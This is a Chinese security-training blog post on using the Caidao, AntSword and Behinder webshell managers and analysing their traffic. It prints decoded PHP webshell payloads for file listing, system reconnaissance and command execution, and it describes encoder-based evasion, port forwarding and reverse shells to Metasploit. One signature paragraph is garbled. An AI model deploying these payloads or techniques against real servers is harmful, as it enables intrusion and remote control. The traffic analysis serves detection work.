webshell使用与流量分析(含数据包)

零基础学黑客,搜索公众号:白帽子左一

作者:掌控安全学员-逍遥子

一、菜刀

1.使用方法
菜刀的使用简单,将一句话木马上传到目标,然后直接使用菜刀连接即可,菜刀主要可以对目标进行虚拟终端,文件操作,数据库操作等。

webshell使用与流量分析(含数据包)_第1张图片
webshell使用与流量分析(含数据包)_第2张图片

webshell使用与流量分析(含数据包)_第3张图片

webshell使用与流量分析(含数据包)_第4张图片

2.流量分析
1.当菜刀和服务器连接后:最开的的两次流量通信,便产生了大量的数据信息。且使用了base64的方式进行编码

webshell使用与流量分析(含数据包)_第5张图片

2.对数据解码,发现第一的数据是获取设备的信息,第二段数据是写入了一段新的木马,对第二段的base64编码进行转码整理后得到;

@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0')
{
    @set_magic_quotes_runtime(0);
};
echo("X@Y");
$D='C:\\phpStudy\\PHPTutorial\\WWW\\webshell\\';
$F=@opendir($D);
if($F==NULL){
    echo("ERROR:// Path Not Found Or No Permission!");
}
else{
    $M=NULL;$L=NULL;
    while($N=@readdir($F)){
        $P=$D.'/'.$N;
        $T=@date("Y-m-d H:i:s",@filemtime($P));
        @$E=substr(base_convert(@fileperms($P),10,8),-4);
        $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
        if(@is_dir($P))$M.=$N."/".$R;
        else $L.=$N.$R;}echo $M.$L;
        @closedir($F);
    };
    echo("X@Y");
    die();

webshell使用与流量分析(含数据包)_第6张图片

其中特征点有如下三部分,
第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
第二:(base64_decode( P O S T [ z 0 ] ) ) , ( b a s e 6 4 d e c o d e ( _POST[z0])),(base64_decode( POST[z0]))(base64decode(_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;
第三:&z0=QGluaV9zZXQ…,该部分是传递攻击payload,此参数z0对应 P O S T [ z 0 ] 接 收 到 的 数 据 , 该 参 数 值 是 使 用 B a s e 64 编 码 的 , 所 以 可 以 利 用 b a s e 64 解 码 可 以 看 到 攻 击 明 文 。 注 : 1. 有 少 数 时 候 e v a l 方 法 会 被 a s s e r t 方 法 替 代 。 2. _POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。 注: 1.有少数时候eval方法会被assert方法替代。 2. POST[z0]使Base64base641.evalassert2._POST也会被 G E T 、 _GET、 GET_REQUEST替代。
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
在进行数据传递的过程中,基本都是使用了post的方式向服务端发送数据。

webshell使用与流量分析(含数据包)_第7张图片

追踪数据流,发现使用了base64的方式加密,但是返回的相应数据是以明文的方式。

webshell使用与流量分析(含数据包)_第8张图片

通过对base64的数据进行解码,得到如下的数据。可以看到,是通过拼接字符串“assert”和“eavl”

webshell使用与流量分析(含数据包)_第9张图片

二、蚁剑

1.使用方法:
蚁剑是根据菜刀的基础升级而来,也是可以通过一句话木马进行连接,或者使用蚁剑自带的payload进行连接。使用这种方式连接到的webshell数据没有进行任何的加密或者转码,直接以明文的方式可以被wireshark抓取到。
webshell使用与流量分析(含数据包)_第10张图片

但是蚁剑可以自定义头数据,而且可以通过配置编码器,对数据进行一个加密,这样可能大程度的减少发现的概率。

为蚁剑设置自定义头数据等其他自定义信息:如图,我们添加了新的请求头数据
webshell使用与流量分析(含数据包)_第11张图片

蚁剑也可以进行加密编码设置:如图设置一个编码器,在蚁剑的配置文件中对其设置

webshell使用与流量分析(含数据包)_第12张图片

选定需要配置的编码器,点击rsa配置,设置对应的公私钥
webshell使用与流量分析(含数据包)_第13张图片

将配置好的的编码器在连接配置文件中加载。

webshell使用与流量分析(含数据包)_第14张图片

使用这种方式的加密,数据会使用rsa的方式进行加密,使得我们抓取的数据包的数据不再是明文,而是是rsa加密的字符,其他编码器同理。

2.流量分析
蚁剑是依据菜刀升级而来,所以大致的流量特征会和菜刀及其相似
a.未使用编码器时的蚁剑流量特征分析。
依然使用了POST的方式进行了数据的提交。而且默认情况下没有做任何的数据编码或者加密

在这里插入图片描述

通过分析,他依然是上传了一段新代码,用于实现更多的功能

webshell使用与流量分析(含数据包)_第15张图片

b.使用编码器的蚁剑的流量特征分析。
使用了头信息添加或者修改,可以通过抓包发现,发生了作用。
webshell使用与流量分析(含数据包)_第16张图片

蚁剑有默认的ua,但是在本次实验的时候,变成了一个可变的动态ua头。

webshell使用与流量分析(含数据包)_第17张图片
webshell使用与流量分析(含数据包)_第18张图片

对数据流量进行分析,发现数据好像被加密了

通过base64解码出来,发现是没有意义的数据,可以判断,设置编码器进行的rsa加密产生了作用
webshell使用与流量分析(含数据包)_第19张图片

通过追踪流发现,请求数据都被加密了,但是响应数据依然使用的明文,通过这个线索,依旧可以实现检测。

webshell使用与流量分析(含数据包)_第20张图片

三、冰蝎(3.0)

1.使用方式:
​ 冰蝎属于是一个功能强大的webshell管理工具,它有自带的payload,我们只需要将后门文件放到服务器上即可执行功能,冰蝎相比之前的webshell,流量更加安全隐蔽,而且功能更加强大如,设置转发,反弹shell等。

1.连接webshell
找到对应的后门文件,上传到服务器。
webshell使用与流量分析(含数据包)_第21张图片

使用冰蝎对其连接。发现功能比较多
webshell使用与流量分析(含数据包)_第22张图片

2.内网穿透
冰蝎支持多种内网穿透方式。
webshell使用与流量分析(含数据包)_第23张图片

使用端口映射的方式进行一个内网穿透,在冰蝎上做好配置,在vps上使用端口转发工具进行一个监听。
webshell使用与流量分析(含数据包)_第24张图片

这儿使用的是lcx,且成功完成了转发

webshell使用与流量分析(含数据包)_第25张图片

webshell使用与流量分析(含数据包)_第26张图片

3.shell反弹

冰蝎支持shell反弹,甚至可以反弹到cs和msf。
webshell使用与流量分析(含数据包)_第27张图片

尝试反弹到msf,获取meterpreter。

设置好参数,准备反弹shell到meterpreter,同时可以看到使用的payload

webshell使用与流量分析(含数据包)_第28张图片

msf端设置好参数,等待shell

webshell使用与流量分析(含数据包)_第29张图片

冰蝎上开启反弹。msf获取到shell。
webshell使用与流量分析(含数据包)_第30张图片

其他功能不再测试

2流量分析:
冰蝎使用对称加密算法。加密过程总共分三步:
第一步,密钥传递阶段(3.0使用了预共享)。
第二步,算法协商阶段,加密算法一般为AES128和异或。
第三步,正式通讯阶段。客户端使用上述密钥加密payload,POST给服务端,服务端解密后执行将结果又以加密方式作为Response Body返回给客户端。

1.对冰蝎的木马文件进行静态分析:
首先会将连接密码进行md5运算,取前16位,作为session留在服务器端
webshell使用与流量分析(含数据包)_第31张图片

响应的数据通过aes的方式加密

webshell使用与流量分析(含数据包)_第32张图片

2.流量抓包分析
因为使用了预共享的密钥,所以基本没有明文直接通信
webshell使用与流量分析(含数据包)_第33张图片

但是我们自己搭建的环境,自己知道密钥,所以可以将数据解密。
webshell使用与流量分析(含数据包)_第34张图片

解密出来的东西应该是一串base64编码过的数据。

webshell使用与流量分析(含数据包)_第35张图片

再一次编码,获取到数据
webshell使用与流量分析(含数据包)_第36张图片

对第一组数据包进行一个分析:
在这里插入图片描述

对请求包进行处理,对获取到的数据进行aes解密和base64转码后,获得的数据,大概可以理解为是一个认证包,如果服务端返沪后后的数据一致,那么就算是认证完成,进入后续流程。

解密后的请求包

@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15]; 
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$content="aWxjVG54ejFQRVdnM1lLbFNXUU1sRkQycWVqblMxd0JJbmdYa2EyNGdIUjRJcXV4NWp5NHZiQjdJT1huOHVXcENGd2FMWkZqRWhXZFNnaVpxR2cxUzBLeTJrVkpMUGpYWEZJR29QdFlPRk9VN2xtQVhtZzNlR1ZpUjl5ZjlpMEh4N2g3SFdyampDNm1oTUNueHdmTHZzTzRmOVJORVlacldVRGcydkJSSUNsdUxKQjZKdWZ0SEZIVkxXOFVUbWFUZmsyeklvMWR5TWd5RlhneW9aUFhkR2xXV0VCYTRyQzM1UFpxdFFmU2RiWXlFSnhBQ3hRVkU2djV2RFlQQUJETFZQekEwUGwzRXhTazdvSkc1UWJubXp2aVJRMHN3SGtucmdTWjdaMXlQRGVrdUZETFdCZlMwTUxVbEpaaG81T2Q2YXdsR3BRcjNVdnhpT25tMjJ0TmNjZjU2a242Z0p4VjlSamNlTHpIMldyeXNNZmdKUXNnN1l2RmZCMkRtcFVubGtRNXRzTFNaWE0yQ0I4MVRZOWVqaGRVVk8ybUI0cFRvNUNxb295VTdoTnhFbk5ISFlGbVhqWVZNSkYyRU9yT2RtRm5tOXFqdlF3cnVjUXRxU2dEUHZCRlA0Nndrd3Znd3lMVkJjbDRjRHk0dVNOT2ZGSmJKNE9UbWlGaWNZNWx5aHJNVHhXS0RhMnAxZ3RWT3phRWZybHpPUGVvZ3lSTWN2bDRzNUtrQlBFVHN5RGJXRTFPbnJvOEhUb1l3dEtBUGVscmlLWWdaczJmUHZZVzlveE03d3p0UXBaOGl2YnYweTlVemZWWkF5bzE4NmdQOXJ0Yzc5ZXVscDFMTm4yZUxUTGtqcllnblhiZGJsMVhmcm5BcnJnd1BlZWFBemV3cE5aem91Q2haV29YcEphaVA1UjMzQjJnR3M0NFZUQ2VzWmdmT3h1WkxPdlFzcWdWQjF5dEp1ZUtyQlRwWGxFVEhWc2c0bk9qeTg2Y1lvSVJPZmk4cU55ejVEZjN1RWt4dHJGRTBmUDlDYnpSQ21HYUJqdnI4d2pnelhQUXdzVFFqMXB1RllvRzZmMTZZaEk1MUZhQ0FXMjNpdENyZFMySm5ocmFIY1Q1a1hqTjk1aHJkbTA3T1VLeEw2M2ZHRnI5d1dpb0hHNFJhekRXakc1RWl5M1pUVERQYmlQZmIyOGZmNmVQMTBrSVJwUnZjODF0eGp2YXpTVlE4WGQ5alBlVzNKV3BMY09qWFpzaHNIMmQ0eDNLNWZwRXZ1SjljeDhHTlBNYzRTWGpTcXpoUGpRdVVRclNNVGdhZWZrNzh1dkNtQnliQTY3ZWxFYWtoWmdKQktuU0l2Z2RjMGNyOFdwZndwMzRhTmc1UEZCU1Fuazc4UVZZekl0ZnJSSGV3eHkzVEVYRjZiWmdoUGUzRUdyNXI4N2E1amkxUWFjYlRob005ZHgxNnJyOHU2bzF1eTF6N29PSzY5MEx4WjVPYjlmWndxWEk0dU1RbGZDUnNIN0VVWWgwV2dxODN1ZHZ1blBHaDdWQ0lab0xMWUs4eHhFWm4yRm1uenlWdU9id0NZYkx6OWdySG53ZUVsUWpQa0d3NlA3YmNQMm5MMUdqZzNwZ3BxVEVOdzdYdElIYVFpNjZpOWRzMmhobGpycHR1ekVqTVVvbUJQckFTM2RwRkVBeFdBRG1ab2FUN1ZQNHBQSms1QmpBOWhwMk1jZU9PMU82ZENjWXVtTjBDVUxPNDlzbkNiVHEzM0E4TExtcms5WlhDTHFuVU1TQVoyVzRYdzk0bXl3d1FJRUZBdHg3azRDTzRXN2lyTkR3MUVWb3JyYlBVdkp3cWtWMnRpMWRJaHloYTFHV0VQSWRGV3J5REFwNnRRVlhXMDRkOXFtT011cjE0aXR1cEJaUlVZMlZGU0p0dkhqV1RkSTlJeVoycXdqM3RmQUd3dHJ1RWZDQmQ5VUVRdVpraE1SWmpUSEJDQXk4RDg1MkR1RlF4OTRZWmNWMEZWN3puR0k3SDl2RmlJNmdiZ0VsTUNudjAzdVBmUlNtY0xibnM3YWV2Unc1S1BaN1FIM0JqeTdzaGVXTUtVeGExb2RNUVNiQnNkek85ejJTanpPZkVMcnFBekh6eG1mWDZxcVlsS0JVaGZlckFZN0JRY2kxWmw5MGZKTEZhdHhkcDFDVUgyTGN2SVhtRmFqdU9DYVY0Rk5vVGs0aUFTNXB6NUtheXZDWTdvRFA1ckpkd1IzTjVlb0pXVDVnR2J1QUFyWVl2aEtZTU4xQVRxZnFwSnlkaTlMQ01nWDh5UmI5MEwycGo1TVprcFp5NVZZakdwMElWUGV4cVZVS2JWa1hjbkZCUWtETXlzOVBzUHUyR2hUdFdrSlZOZWtLMWJSTXhWZWR4Wm5GZ2VBN1lsVExhUmdzUVBkNXdRa2FRS2pnbDEzWk5UT3RUQjZidG9GNkRTM1JwWURxc0hCRkd0NVFqd0FGYVByWFZtYkxCUDZkc280V3kxZTJxVVZuV0hmbFZWTXk5dXpGalhRRHM4MkVhNVlqYmVpajNXOGl3RFNPaHFwTU9FQ2l2eVkxZmdFcG9CM3hSRmpGdWlmWGRiWndHMEpsYkVvcnZPRGlDOEhZWjhPaU12dTFxM0lTMUNPejU2VHhzUFFYdVhQTmJSNkg2V0FGd1FHRDlWbHIybTF6WkdRY0hmdHl2dWQzb1VEVFQ3RThKRFBWaXJ0ZEtEVFJodDR4SVBHMVBpdG00WjRldm9CRmxySldsdFJRa0ZEVnFFdkg5N2xMN2hpbzFKdGdRYmFyUWY5QnRMUkdhaUZiTDN0SzBKbzJ1dms1M2pSUXR3alFHMUFuMllkcWw3Wjlib1JDOUxZbm5KdGdJeTdKWWxNU0R1NTRISzRTRGt5UHppbXJncjJBOHptTUtmaXRTQ0RUM2tNVlhlWUVXNEZEMGtHRDdHMGN0WjRFT1NTTjhZTTBrVkxMcnZ6WE5pc2hGc1hES3FMclh0NVNFeVRRdjVocDJ2YkNDSEdwVzNrdWMzaWRuc21CUnZ0V2xhSFRlaGNDQ0I1NzlVVUk2R0FEZTlpdjRUdUdnejlxRTlvcmdrT0tuYmRESkhIRFM5TVJYV1BJY0FHUkVURlFGOENlQ2tmZmJITjVEd1RBRWZ4eDRQSGV6UVBmQTZSTjVqZXdKeWY5dGtkdkVIelJSOTFkVE1JT21kS1AxYzJwekpKZUFJekNaUmg5Sm9MNDhCSW5wWHBXVEE2ckEzNTRKNkJzVzNyMVRFOUU3WmNwTkVXZFdTcGNWZWxGbmtlam5XNklteXgxaHBjcTd1VGxnWVBoRUptNFVxTnMxOHQ5YlByQW1BaHpvM0Zmb3M=";$content=base64_decode($content);
main($content);

经过和返回包的解密转码后做比对,可以认为完成了认证。
webshell使用与流量分析(含数据包)_第37张图片

完成认证后,客户端向请求端发送了数据,通过解密得到数据。请求执行了phpinfo.

webshell使用与流量分析(含数据包)_第38张图片

error_reporting(0);
function main($whatever) {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
        {
            $drive=chr($i).':/';
            file_exists($drive) ? $driveList=$driveList.$drive.";":'';
        }
    }
    else
    {
        $driveList="/";
    }
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $arch="64";
    if (PHP_INT_SIZE == 4) {
        $arch = "32";
    }
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}
function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15]; 
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$whatever="ZnkyT0dRdjRpaGlXeU92Q0UycHkyVjJDT2R1MWNNcWNuN08yaTJ1Rk1HckVQSVNoSmlya05kZ1NDTnYwZ1N3QUtFMkV0NzFJT1NodDhPNGJpQUl0TzNYSWdJTVZCRW94RXpseHFZVjhXelhPc1FIMm54MllpUklTMDlxWVd5cWxvRW9lOWt3VWF3Y2g0UjhISm9jS08zampLeWsxckhXanZCclRsQ28yQXJPRHpteGtxVTlXM0I5OVN1eUlLNE44UDlIb1NaRXc4Yk1aaVhzWmRySnlnenlNczVCU2M4Zk5uQm0wbFA4S1k5YUNpRUpyY09ZM1kyNlF5U1M5cUtPaVF0akRkVjc2YWZPeUNNVW9iNUJtTmtHcHluMWZMaWlTMnJrbDk5WVZ1T1p3ZXp2aW1nUjE2ZlIwT2F0NWd2UTFOYmlxQ2RmQmE2eUc3OW45RDk4dlhQM0djdVdRRW5iV1hNdzBOQlMybVYxRjJzRW1tS3ZMNGN3ZFZsU0d5eVZUU1BrUlhmSnB2SnpBR3NLN0ZSNzdLdE5pcWU5cVQ1UldNb1YxWmsxMk1LdGI5ajE0NkJJWVptc0VCbnQ1eXN6dVRmWHNvYUJKOUxKMjJFa0k5REVqRHp0Y0hEaThaYVB0ZzlXR29KSmZ0U2NQUGJDdk1CbVF0RTFrTU5ieXNvQWRrSTdqeURENmlNd0dQYTlkV2Y5R0UxTDY3cE8zV29wQWxMM3JDSVhDWWU3SnA1QVo3RXZhUm9CeVNvc3hMS3l4b0RWbUpMR2MwUEJzU3MzYlVnSk9QMEpUeVgwM1F6VmxvMnJLUGlaNFM2MnhISVVuRFNYQkxORVE1Ynk0TUY3bkJyeGJEOUNVaDFxbTNqdzZIRkprU1hYT3g5clJ2NndUMHNtbXRtZmZGemlUWExHb3NSUmZaeWt6b3hZQkFtSU9wQnpEOXZkRGdOendYWTZ0bkx6WDdLZmFBWXJtcnhNVHdRclNlSHJ1ZTYyWktxdzU1aHpucUcyQ1pDNFJYYkxPaFp1NHY0dlRGVkpwNFpSWHN2TjREZ283SkgwYzNvN0xzamFpOXJaU3B1SXVhNGJRQXc3em1Dc0JZN2c2S2RDQUp1c0xCUmJaSGFsc21IaVA5RGplQ2FpWW9jU3kzdVJMQXYxOWtwR09UU3pFdjRCaTVXa1g1RU9JbWZZQXQxa1JYVGRsdkF4aFFaeEJ4SmhNMncyaDZKaWtzc1RtZGI1TUc1b0dxMnNGbWlHSVFpVVFlVUNISXJiSzdLazY1STdCdFdwS3o2am5oeFR4bFNvS0czTGNVZUdUcnNBc2U3aFFhczVtTnFKQk03MkNhZDU2ZEEzVFowamROeExhOGFEUjNFNG5kazZCZlhSUnA5dWVITTRXSXJDYzllMWVZWkZsdkhOeUd6QVQ3MllGQldnTVh2cERVR3kxV2xaMll1V1kwMXBsd1BIMVBQa3dEOHRONGVKSkNkOFd4NVdxWFVvOGRSY0FDNXptYmhTMVNZN1drSUM1WkhZNWt2Z2luWmFWeUpLY0pnNGwwWXBNM3lsRENNamVBQkEwRGpWbTF1Y2lHbVFRZUh5VUJKWEljc0NZNjN2bGV3MG9Tb1BxdFg4NURvUEI1RmVkUW5nMHc4d0RRcFV3QTczdlJVaVdlUWZDUUxNb2RHSENyT3p5N0lKeXdESVc1WVViZUlDUEI4cTBNTmZGWWJ5WFhBSjVPRnBDVVNlR0Q2ampMR0VBN2JqMXBKU0h0UWVWRGt4UU9QVmZFTlRhSGJZem9haDFOM0FEcHRpOWxaZzhoNnhRZmcyT085VHBiek9qQnY5UDQ4OGg2Z1p0TWFDVVRwTkRLR2NQR1E1MnlacTlIeGk2aDJCRmNMUTY0b2VPNzhnUzFibnFhNzZSU2E4UXg1UXQ3NVRmaTlZMWdKUDZRNmg2ZTljaElFc2JhR2c1VkpEbG5YRmtWeUhLYXVZSWtGbXhraXJLSXJqVHRrcWJPc2JQUkxjVU5EV0tDRWhwc1VkNnl6R0lzVWlsZ0FEZU9qZnBzRDYzZTNhd3RxWVpNSGpjcHdPcXdGa3lTWm1BdWdTdXlqZDFZQjdPYm5tZ3ZHbjVhcjg2RGQ1RFNyUlZ5ODg5bXRFVjQydHpuUDNMYkhtS1FYQ0c5TUl3RjE0ODdhN1dJZFRYYXZ6NnBoVDRBRk1ra21NYzFSMUcyRU1rM25IcVRZV0xYT2U2ZXpsbDRzN25uc3JpZExjaU13QnVPYUlLSE9IQzM0Z3pJcGFWOThHZUVkeWZ3YUpod1o1S09EVUJIWmc0UnBqRGVyOHlUVUd5QURCcGN0STlsS3U4QnhXTkhadEhOWEV5cEU1dVdGQlZpS1U5SjkxY1BmMklyc29Ba1N1TVpReUR1RWNlS0JSbWdNUU5wWGNJUFd2dlNVNTFWWnJsUkRjSU1UcmV4a09lOWFaQmRhbFl6enJ4cVI0V3gyaW1iRnFoc1ZsMlo2UVV0YVhtbUg0d0FPTTBwRFI1N3hET3BMNFBOR0tLZUNaT2oyMTYwMTJDME5RN1l4QnVVR0tsYlkxUHdCOHlhSktlQlFVSjVrSlpzeTVvYmJxdDNsQXoxekU0R1pRRmVWNndXS2FmMGQyT0ZTWkhkUUdPd1JaWHZocXZLMlJ5c0FSOVBmaG1jQnVDeWRCcU03alhNRTF2cEF6eVhkbm5YOXZaOUQzcjd0VFFGMXZ1QmoxamZLYlZtNzFMOWYwQ1RRVUN2b3RMR3dyZ0U4ckg=";$whatever=base64_decode($whatever);
main($whatever);

对响应数据处理后,发现反馈的是phpinfo信息。

webshell使用与流量分析(含数据包)_第39张图片

通过追踪流,可以获取到所有的数据,分别进行解密,观察数据。这里对执行命令(whoami)部分的数据进行分析

通过aes解密和base64编码后得到了数据明文。

@error_reporting(0);
function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}
function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15]; 
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$cmd="Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1x3ZWJzaGVsbFwiJndob2FtaQ==";$cmd=base64_decode($cmd);$path="QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3dlYnNoZWxsLw==";$path=base64_decode($path);
main($cmd,$path);

看不大懂是个啥,但是大致知道了就是用这个代码实现了命令执行的功能,对最后的两串cmd参数,path参数的base64数据解码,得到了路径和执行的命令。

webshell使用与流量分析(含数据包)_第40张图片
webshell使用与流量分析(含数据包)_第41张图片

对响应的数据进行一个分析,将响应数据的密文复制,进行一个解密

webshell使用与流量分析(含数据包)_第42张图片

继续得到一串base64数据。

webshell使用与流量分析(含数据包)_第43张图片

说明:流量包附件
不同的版本可能会存在不同的效果,将我分析过程中的流量包放在了附件

公众号(白帽子左一)后台回复:“2336”获取
在这里插入图片描述

webshell使用与流量分析(含数据包)_第44张图片
webshell使用与流量分析(含数据包)_第45张图片

你可能感兴趣的:(web安全,渗透测试,网络安全)